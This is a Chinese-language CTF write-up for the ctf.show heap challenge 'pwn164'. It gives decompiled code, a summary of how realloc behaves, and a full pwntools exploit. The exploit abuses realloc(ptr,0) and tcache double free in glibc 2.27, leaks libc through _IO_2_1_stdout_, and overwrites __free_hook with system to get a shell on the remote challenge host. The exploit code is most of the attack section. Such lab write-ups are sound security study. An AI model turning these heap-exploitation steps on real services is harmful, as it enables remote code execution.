pwn164

有些东西不一样了,有些东西好像前面学过。 远程环境:Ubuntu 18.04

libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1

依旧保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn164
[*] '/home/niuyingying/ctf/pwn/pwn164'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

查看程序流程,显然的,没有 show 函数,因此考虑利用_io_2_1_stdout泄露libc ,具体参见 pwn162 - AurY1n's Blog

unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("====================");
  puts("1. Add");
  puts("2. Delete");
  puts("3. Exit");
  printf("Choice:");
  return __readfsqword(0x28u) ^ v1;
}
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  init_1(a1, a2, a3);
  init_2();
  while ( 1 )
  {
    menu();
    v3 = Read();
    switch ( v3 )
    {
      case 2:
        Delete();
        break;
      case 1433233:
        Exit();
        break;
      case 1:
        Add();
        break;
      default:
        puts("Invalid Choice");
        break;
    }
  }
}
unsigned __int64 Add()
{
  unsigned int size; // [rsp+4h] [rbp-Ch]
  size_t size_4; // [rsp+8h] [rbp-8h]

  size_4 = __readfsqword(0x28u);
  puts("Size?");
  size = Read();
  ptr = realloc(ptr, size);
  puts("Content?");
  read(0, ptr, size);
  puts("Done");
  return __readfsqword(0x28u) ^ size_4;
}
unsigned __int64 Delete()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  free(ptr);
  puts("Done");
  return __readfsqword(0x28u) ^ v1;
}
unsigned __int64 Exit()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( dword_202050 )
    exit(-1);
  dword_202050 = 1;
  ptr = 0;
  puts("Done");
  return __readfsqword(0x28u) ^ v1;
}

发现这道题 Add 函数使用的是 realloc ,所以顺便说一下其核心流程:

realloc(ptr, size)
│
├─ ptr == NULL
│    └─ 相当于 malloc(size)
│
├─ size == 0
│    └─ 常见 glibc 中相当于释放 ptr
│
├─ 新大小更小
│    ├─ 原地缩小
│    └─ 多余空间可能切割成 free chunk
│
├─ 新大小更大
│    ├─ 尝试与后方空闲空间或 top chunk 合并
│    └─ 否则 malloc 新块、复制数据、free 旧块
│
└─ 分配失败
     ├─ 返回 NULL
     └─ 原来的 ptr 仍然有效

因此在常见 glibc 中:

ptr = realloc(ptr, 0);

通常相当于:

free(ptr);
ptr = NULL;

那么我们可以巧妙利用 realloc(ptr, 0) 做出堆块重叠用 stdout 泄露 libc ,接着隐藏选项 1433233 清空 ptr ,最后劫持 __free_hook 写入 b"/bin/sh\x00"system 从而 get shell

攻击脚本如下:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn164')
libc = ELF('./libc-2.27.so')

# io = process('./pwn164')
io = remote("pwn.challenge.ctf.show",28276)

# io = gdb.debug('./pwn162', gdbscript='set pagination off\nbreakrva 0xD33\nbreakrva 0xEC1\nc')

# io = gdb.debug(
#     './pwn164',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xC2A
# breakrva 0xC73
# breakrva 0xA5A
# c
# '''
# )

def Add(size,text):
    io.recvuntil(b"Choice:")
    io.sendline(b"1")
    io.recvuntil(b"Size?\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content?\n")
    io.send(text)

def Delete():
    io.recvuntil(b"Choice:")
    io.sendline(b"2")

def Exit():
    io.recvuntil(b"Choice:")
    io.sendline(b"1433233")

# tcache 没有 fastbin 的 size 检查,通常不需要特殊偏移
key = (libc.sym["_IO_2_1_stdout_"]) & 0xffff

Add(0x20,b"aaaa")
Add(0,b"")

Add(0x90,b"aaaa")
Add(0,b"")

Add(0x10,b"aaaa")   # guard
Add(0,b"")

# tcachebins
# 0x20 [  1]: 0x555555a01330 ◂— 0
# 0x30 [  1]: 0x555555a01260 ◂— 0
# 0xa0 [  7]: 0x555555a01290 —▸ 0x7ffff7bebca0 —▸ 0x555555a01340 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x555555a01280 —▸ 0x7ffff7bebca0 ◂— 0x555555a01280
Add(0x90,b"aaaa")
# 在 glibc 2.27 中,tcache 缺少完善的重复释放检查,可以将同一个 chunk 多次放入 tcache
for i in range(7):
    Delete()
Add(0,b"")

# tcachebins
# 0x20 [  1]: 0x555555a01330 ◂— 0
# 0x60 [  1]: 0x555555a01260 ◂— 0
# 0x70 [  1]: 0x555555a012c0 ◂— 0
# 0xa0 [  7]: 0x555555a01290 —▸ 0x7ffff7bec71d (_IO_2_1_stderr_+157) ◂— 0xfff7beb780000000
Add(0x20,b"aaaa")
payload1 = p64(0) * 5 + p64(0x81) + p16(key)    # 特别修改 size 使其不为 0xa1
Add(0x50,payload1)
Add(0,b"")

# tcachebins
# 0x20 [  1]: 0x555555a01330 ◂— 0
# 0x60 [  1]: 0x555555a01260 ◂— 0
# 0x70 [  1]: 0x555555a012c0 ◂— 0
# 0x80 [  1]: 0x555555a01290 ◂— 0
# 0xa0 [  6]: 0x7ffff7bec760 (_IO_2_1_stdout_) ◂— 0xfbad2887
Add(0x90,b"aaaa")
Add(0,b"")

io.recvuntil(b"Choice:")
io.sendline(b"1")
io.recvuntil(b"Size?\n")
io.sendline(str(0x90).encode())
io.recvuntil(b"Content?\n")
payload2 = p64(0xFBAD1887) + p64(0) * 3 + b"\x98"
io.send(payload2)

# 0x7ffff7bec7e3
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

# 0x7ffff7800000
libc_base = leak - 0x3ec7e3
print(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

Exit()  # ptr = 0

Add(0x30,b"bbbb")
Add(0,b"")

Add(0xa0,b"bbbb")
Add(0,b"")

Add(0x20,b"bbbb")   # guard
Add(0,b"")

Add(0xa0,b"bbbb")
for i in range(7):
    Delete()
Add(0,b"")

Add(0x30,b"bbbb")
payload3 = p64(0) * 7 + p64(0x81) + p64(free_hook - 8)
Add(0x80,payload3)
Add(0,b"")

Add(0xa0,b"bbbb")
Add(0,b"")
payload4 = b"/bin/sh\x00" + p64(system)
Add(0xa0,payload4)

Delete()

io.interactive()